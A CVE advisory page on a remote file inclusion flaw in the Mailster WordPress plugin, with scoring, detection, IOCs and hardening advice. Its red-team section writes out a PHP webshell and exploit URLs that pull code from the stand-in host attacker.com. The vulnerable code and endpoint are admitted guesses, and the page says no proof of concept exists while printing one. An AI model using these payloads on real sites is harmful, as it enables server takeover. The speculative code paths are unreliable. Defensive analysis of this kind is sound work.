☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Everpress logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-32523

CVE-2024-32523 Remote File Inclusion in Everpress
📅 PUBLISHED: 2024-05-17 09:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 53.13%
👁️
53.13% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32523 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the Mailster WordPress plugin by EverPress, up to and including version 4.0.6. This vulnerability allows an unauthenticated attacker to include arbitrary remote files via improper control of a filename used in a PHP include or require statement. Successful exploitation can lead to complete server compromise, including remote code execution (RCE), data exfiltration, and full site takeover. The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk remains high due to the ease of exploitation and the critical impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

  • No patch is currently available from the vendor (EverPress).
  • The plugin is widely used for email marketing, making it a high-value target.
  • Attackers may target outdated or unpatched installations through automated scanning.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 8.1 (High)

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) None (N)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) High (H)

Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely with low complexity. A successful attack grants the attacker full control over the affected WordPress instance.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of a filename parameter used in a PHP include or require statement within the Mailster plugin. Specifically, the plugin fails to validate or restrict the source of the file being included, allowing an attacker to specify a remote URL.

Attack Flow:

  1. An attacker identifies a vulnerable endpoint in the Mailster plugin that accepts a filename parameter (e.g., ?mailster_include=http://attacker.com/evil.php).
  2. The attacker hosts a malicious PHP file on a remote server.
  3. The plugin’s code uses the unsanitized parameter in a PHP include() call.
  4. The remote file is fetched and executed on the target server, granting the attacker arbitrary code execution.

Root Cause: The plugin likely uses a construct similar to:

include($_GET['file'] . '.php');

Without proper validation (e.g., filter_var($file, FILTER_VALIDATE_URL) or a whitelist of allowed paths), an attacker can inject a full URL.

Vulnerable vs. Patched Code

Vulnerable Code (Mailster <= 4.0.6):

// mailster/includes/ajax.php (hypothetical)
$file = $_GET['mailster_include'];
include($file . '.php');

Patched Code (Expected):

// Patched version would include:
$allowed_paths = array('template1', 'template2');
$file = basename($_GET['mailster_include']);
if (in_array($file, $allowed_paths)) {
    include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');
} else {
    wp_die('Invalid file.');
}

Key Differences:

  • Input Validation: Patched code uses a whitelist and basename() to prevent directory traversal and remote inclusion.
  • Path Restriction: The include path is locked to a local directory, preventing remote URLs.
  • Error Handling: Invalid requests are terminated with wp_die().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress instance with Mailster plugin version <= 4.0.6.
  • A publicly accessible server to host the malicious PHP file.

Exploitation Steps:

  1. Host a malicious PHP file (e.g., evil.txt) on your attacker server:
    <?php
    system($_GET['cmd']);
    ?>
    
  2. Craft the exploit URL:
    http://target.com/wp-content/plugins/mailster/includes/ajax.php?mailster_include=http://attacker.com/evil.txt
    
    Note: The .php extension appended by the vulnerable code will be ignored if the remote file contains PHP code.
  3. Execute commands:
    http://target.com/wp-content/plugins/mailster/includes/ajax.php?mailster_include=http://attacker.com/evil.txt&cmd=id
    

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Hardening)

Detection Steps:

  1. Monitor web server logs for suspicious include parameters:
    grep "mailster_include" /var/log/apache2/access.log
    
  2. Check for outbound connections from the web server to unknown IPs on port 80/443.
  3. Scan for webshells in the WordPress uploads directory.

Hardening:

  • Immediately disable the Mailster plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block mailster_include parameter.
  • Restrict outbound traffic from the web server using iptables or cloud security groups.

Indicators of Compromise (IOCs)

Type Indicator Description
URL ?mailster_include=http:// Suspicious parameter in GET requests
File wp-content/plugins/mailster/includes/*.php Modified plugin files
Network Outbound HTTP to unknown IPs Remote file inclusion attempt
Log mailster_include in access logs Exploitation attempt
Process php processes with high CPU Possible webshell execution

Detection Engineering

YARA Rule

YARA RULE
CVE_2024_32523_Mailster_RFI
Detects Mailster RFI exploitation attempts
Reference: CVE-2024-32523
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
Mailster RFI Exploitation Attempt
Detects attempts to exploit CVE-2024-32523 in Mailster plugin
Logsource: apache · webserver  critical
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2024-32523 Mailster RFI Attempt
Protocol: HTTP · class: attempted-admin · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Disable the Mailster plugin until a patch is released.
  2. Apply virtual patching via WAF to block mailster_include parameter.
  3. Review server logs for signs of compromise.

Long-term Fix:

  • Monitor the EverPress vendor for an official patch.
  • Consider replacing Mailster with an alternative email marketing plugin.
  • Implement input validation and whitelisting for all file inclusion operations.

Workaround:

  • Add the following rule to .htaccess (Apache) or Nginx config:
    RewriteCond %{QUERY_STRING} mailster_include=http:// [NC]
    RewriteRule .* - [F,L]
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32523/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.